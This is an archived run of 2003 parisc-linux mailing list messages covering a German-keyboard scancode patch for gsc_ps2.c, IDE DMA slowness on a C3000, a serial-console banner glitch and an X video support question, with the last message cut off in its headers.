List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19347

--gatW/ieO32f1wygP
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

This little patch cures my keyboard. In the 2.4.x -> 2.6.x transition,
my key containing '<', '>' and '|' stopped working. Here it is again
(cut'n'pasting those three letters isn't really going to work on a Linux
system all the time:)

Please apply this to CVS:


--- linux-parisc-2.6/drivers/input/misc/gsc_ps2.c	2003-08-25 17:32:20.00000=
0000 +0200
+++ pa-build/drivers/input/misc/gsc_ps2.c	2003-08-25 18:41:24.000000000 +02=
00
@@ -154,7 +154,7 @@
 	/* 48 */  KBD_UNKNOWN,  KEY_DOT,       KEY_SLASH,     KEY_L,         KEY_=
SEMICOLON, KEY_P,        KEY_MINUS,     KBD_UNKNOWN,
 	/* 50 */  KBD_UNKNOWN,  KBD_UNKNOWN,   KEY_APOSTROPHE,KBD_UNKNOWN,   KEY_=
LEFTBRACE, KEY_EQUAL,    KBD_UNKNOWN,   KBD_UNKNOWN,
 	/* 58 */  KEY_CAPSLOCK, KEY_RIGHTSHIFT,KEY_ENTER,     KEY_RIGHTBRACE,KBD_=
UNKNOWN,   KEY_BACKSLASH,KBD_UNKNOWN,   KBD_UNKNOWN,
-	/* 60 */  KBD_UNKNOWN,  KBD_UNKNOWN,   KBD_UNKNOWN,   KBD_UNKNOWN,   KBD_=
UNKNOWN,   KBD_UNKNOWN,  KEY_BACKSPACE, KBD_UNKNOWN,
+	/* 60 */  KBD_UNKNOWN,  KEY_102ND,     KBD_UNKNOWN,   KBD_UNKNOWN,   KBD_=
UNKNOWN,   KBD_UNKNOWN,  KEY_BACKSPACE, KBD_UNKNOWN,
 	/* 68 */  KBD_UNKNOWN,  KEY_KP1,       KBD_UNKNOWN,   KEY_KP4,       KEY_=
KP7,       KBD_UNKNOWN,  KBD_UNKNOWN,   KBD_UNKNOWN,
 	/* 70 */  KEY_KP0,      KEY_KPDOT,     KEY_KP2,       KEY_KP5,       KEY_=
KP6,       KEY_KP8,      KEY_ESC,       KEY_NUMLOCK,
 	/* 78 */  KEY_F11,      KEY_KPPLUS,    KEY_KP3,       KEY_KPMINUS,   KEY_=
KPASTERISK,KEY_KP9,      KEY_SCROLLLOCK,KEY_103RD,


Thanks, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--gatW/ieO32f1wygP
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/SwUpHb1edYOZ4bsRAuQFAJ976/9kmMS1G2j30q+SMjNwGTVLPgCfTV0Y
WZK9ztMvm71K3724shqVPPo=
=QgEa
-----END PGP SIGNATURE-----

--gatW/ieO32f1wygP--


From - Thu Nov 08 21:28:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.6] Fix gsc_ps2.c for german keyboards
Date: Tue, 26 Aug 2003 12:29:29 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030826112929.GI22294@parcelfarce.linux.theplanet.co.uk>
References: <20030826065849.GB9104@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622726 30094 80.91.229.3 (22 Nov 2014 02:18:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 05:29:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FF7C48B4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 05:29:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19rc0v-0006Hj-So; Tue, 26 Aug 2003 12:29:29 +0100
Content-Disposition: inline
In-Reply-To: <20030826065849.GB9104@lug-owl.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19348

On Tue, Aug 26, 2003 at 08:58:49AM +0200, Jan-Benedict Glaw wrote:
> This little patch cures my keyboard. In the 2.4.x -> 2.6.x transition,
> my key containing '<', '>' and '|' stopped working. Here it is again
> (cut'n'pasting those three letters isn't really going to work on a Linux
> system all the time:)
> 
> Please apply this to CVS:

Done.  Thanks!

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3000 and IDE DMA support
Date: Tue, 26 Aug 2003 12:46:42 +0100 (IST)
Lines: 89
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0308261152480.6589-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622726 30095 80.91.229.3 (22 Nov 2014 02:18:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 05:46:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C49148F6
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 05:46:44 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h7QBkg901377
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 12:46:42 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19349

Hi all,

I win a as experimenting mood so I put in a Seagate ST3120022A (120GB, UDMA)
into my C3000 (no floppy, no CDROM). I use the original cable that came with
the C3k (intended for the CDROM), since I sincerely doubt that the IDE
chipset supports UDMA anyway. I just have one ext3 partition on it (111GB).


I have the following problems:

- the hard disk performs very bad (just 3.13 MB/s instead of expected
  >30 MB/s, tested with similar drive in PC and same hdparm settings)
  In fact it shows typical data rates for unsupported DMA transfers
- excessive harddisk access, ie. copying large files (>1GB) obviously
  blocks any other access to the harddisk, at least it's not (very) responsive
  (caused by the slow transfer rate?)
- can't change from my default kernel setting (DMA) to PIO mode via hdparm,
  it causes a kernel oops (but hey, who needs PIO anyway ;)


Apart from the slowlyness of the drive it works quite well.



my .config contains:

CONFIG_BLK_DEV_IDE=y
CONFIG_BLK_DEV_IDEDISK=y
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_BLK_DEV_IDEDMA_PCI=y
CONFIG_IDEDMA_PCI_AUTO=y
CONFIG_BLK_DEV_IDEDMA=y
CONFIG_BLK_DEV_NS87415=y
CONFIG_IDEDMA_AUTO=y
CONFIG_BLK_DEV_IDE_MODES=y



I enable IDE DMA for hda as follows:

> hdparm -c 1 -d 1 -u 1 /dev/hda


dmesg shows:
============

Uniform Multi-Platform E-IDE driver Revision: 7.00beta4-2.4
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
NS87415: IDE controller at PCI slot 00:0e.0
NS87415: chipset revision 3
NS87415: not 100%% native mode: will probe irqs later
    ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
hda: ST3120022A, ATA DISK drive
blk: queue 103c1608, I/O limit 4095Mb (mask 0xffffffff)
ide0 at 0x1f0-0x1f7,0x3f6 on irq 103
hda: attached ide-disk driver.
hda: host protected area => 1
hda: 234441648 sectors (120034 MB) w/2048KiB Cache, CHS=14593/255/63, (U)DMA
Partition check:
 hda: hda1


Is unmasq_irq supported? What about DMA? Is it obviously not fixed yet
(at least somebody wrote that "ns87415 dma doesn't work reliably on
 suckyio-systems" a couple of weeks back)


Any hints how to speed up the transfer rate?


Thanks,
   Max


PS: I have problems with Samba-2.2.3 and 3.0.0 when transferring
multiple 1GB files from an XP box to the samba share (the IDE harddisk):
samba disconnects after transferring 2x 1GB files, but will copy many
smaller files (several MB) just fine (although combined >>2GB).

It might be the case that the IDE hard disk is too slow (3MB/s) for my
100Mbit FDX ethernet (4-5MB/s) and thus confuses samba ...

Samba-3.0.0 also seems to be a little bit "laggy" when I try to access a
share (or any of it's files); there is always a delay for about 1-2s for
each read access to a file ... but it's a beta version anyway and this
issue should be better discussed on lists.debian.org



From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3000 and ...
Date: Tue, 26 Aug 2003 12:53:13 +0100 (IST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0308261249040.6850-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622727 30097 80.91.229.3 (22 Nov 2014 02:18:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 05:53:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35FDB4925
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 05:53:18 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h7QBrD901662
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 12:53:14 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19350

... sorry for the collection of typos in my last mail, but the network
connection in our university is VERY bad lately (probably due to the virus
attacks). I was disconnected 11 times from the mail servere while writing
the last mail :(

Apologies,
  Max



From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux-2.4.22-pa1 small pb
Date: Tue, 26 Aug 2003 15:46:04 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <3F2A5B0400005E92@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622727 30098 80.91.229.3 (22 Nov 2014 02:18:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 07:46:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64EB648BE
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 07:46:06 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19re68-0007Z0-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 15:43:00 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 26 Aug 2003 15:46:04 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19351

Hi all,

Here is a small but anoying pb with serial console.

>From a minicom serial connect here is the nice "boot" Debian banner I can
grab when I booted with 2.4.21:

[...]
Starting periodic command scheduler: cron.

                               
         _sudZUZ#Z#XZo=_         DDDD   EEEEEE BBBB   IIIIII  AAAA   NN 
 NN
      _jmZZ2!!~---~!!X##wa       DD DD  EE     BB BB    II   AA  AA  NNN
 NN
   .<wdP~~            -!YZL,     DD  DD EEEEE  BBBBB    II   AAAAAA  NNNN
NN
  .mX2'       _%aaa__     XZ[.   DD DD  EE     BB  BB   II   AA  AA  NN NNNN
  oZ[      _jdXY!~?S#wa   ]Xb;   DDDD   EEEEEE BBBBB  IIIIII AA  AA  NN 
 NN
 _#e'     .]X2(     ~Xw|  )XXc 
.2Z`      ]X[.       xY|  ]oZ(   Linux Version 2.4.21-pa4
.2#;      )3k;     _s!~   jXf`   Compiled #3 Mon Jul 14 12:00:08 CEST 2003
 1Z>      -]Xb/    ~    __#2(    One 400MHz HPPA Kazoo W+ Processor, 256M
RAM
 -Zo;       +!4ZwaaaauZZXY'      799.53 Bogomips Total
  *#[,        ~-?!!!!!!-~        palx2000
   XUb;.                       
    )YXL,,                     
      +3#bc,                   
        -)SSL,,                
           ~~~~~               
Updating the Linuxlogo... done.
Stopping Bootlog daemon: bootlogd.
[...]

Normal :)

Now with 2.4.22-pa1 (with exactly the same context excepted kernel):
[...]
Linux palx2000 2.4.22-pa1 #1 Tue Aug 26 13:40:01 CEST 2003 parisc GNU/Linux

Starting periodic command scheduler: cron.

                               
         _sudZUZ#Z#XZo=_         DDDD   EEEEEE BBBB   IIIIII  AAAA   NN 
 NN
      _jmZZ2!!~---~!!X##wa       DD DD  EE     BB BB    II   AA  AA  NNN
 NN
   .<wdP~~            -!YZL,     DD  DD EEEEE  BBBBB    II   AAAAAA  NNNN
NN
  .mX2'       _%aaa__     XZ[.   DD DD  EE     BB  BB   II   AA  AA  NN NNNN
Debian GNU/Linux testing/unstable palx2000 ttyS0

Any Idea?

Thanks in advance,
    Joel



-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] x86 on b2000
Date: Tue, 26 Aug 2003 15:39:56 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <1061908796.3f4b713c1b6e3@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622727 30102 80.91.229.3 (22 Nov 2014 02:18:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 08:41:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id B9FD8492B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 08:40:59 -0600 (MDT)
Original-Received: (qmail 73254 invoked by uid 2525); 26 Aug 2003 14:39:56 -0000
Original-Received: from 212.135.129.82 ( [212.135.129.82])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Tue, 26 Aug 2003 15:39:56 +0100
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 212.135.129.82
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19352

does x support the internal video card in the machine ?

thanks to you help on previous questions i now have everything installed and i 
am a complete newbie... 

Thanks





-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Tue, 26 Aug 2003 07:51:02 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20030826145102.GR21328@tausq.org>
References: <1061908796.3f4b713c1b6e3@webmail.v8fiesta.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622728 30104 80.91.229.3 (22 Nov 2014 02:18:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 08:48:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 344F9493F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 08:48:17 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 498C0CD365; Tue, 26 Aug 2003 07:51:02 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1061908796.3f4b713c1b6e3@webmail.v8fiesta.co.uk>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19353

In reference to a message from mmogenius@v8fiesta.co.uk, dated Aug 26:
> does x support the internal video card in the machine ?

http://pateam.esiee.fr/list.html

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and IDE DMA support
Date: Tue, 26 Aug 2003 07:52:38 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20030826145238.GS21328@tausq.org>
References: <Pine.LNX.4.44.0308261152480.6589-100000@sal.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622728 30107 80.91.229.3 (22 Nov 2014 02:18:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 08:49:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2060C4943
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 08:49:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E8EB5CD365; Tue, 26 Aug 2003 07:52:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0308261152480.6589-100000@sal.ucc.ie>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19354

> - the hard disk performs very bad (just 3.13 MB/s instead of expected
>   >30 MB/s, tested with similar drive in PC and same hdparm settings)
>   In fact it shows typical data rates for unsupported DMA transfers

You are right, DMA is not yet supported on superio... at some point it
was sort of working, but not very reliably... 

it's a worthwhile project if you want to do some kernel hacking :-)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD Not Mounted
Date: Tue, 26 Aug 2003 16:51:35 +0200
Organization: ESIEE
Lines: 28
Approved: news@gmane.org
Message-ID: <20030826165135.19fdee3d.varenet@esiee.fr>
References: <1061837954.3f4a5c82ae3d9@webmail.v8fiesta.co.uk>
	<20030825193149.GC377@dsl2.external.hp.com>
	<1061840314.3f4a65ba7293e@webmail.v8fiesta.co.uk>
	<20030825195042.GA1468@dsl2.external.hp.com>
	<20030825195755.GB1468@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622728 30109 80.91.229.3 (22 Nov 2014 02:18:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:48 +0000 (UTC)
Cc: mmogenius@v8fiesta.co.uk, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 08:51:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id 864BD4947
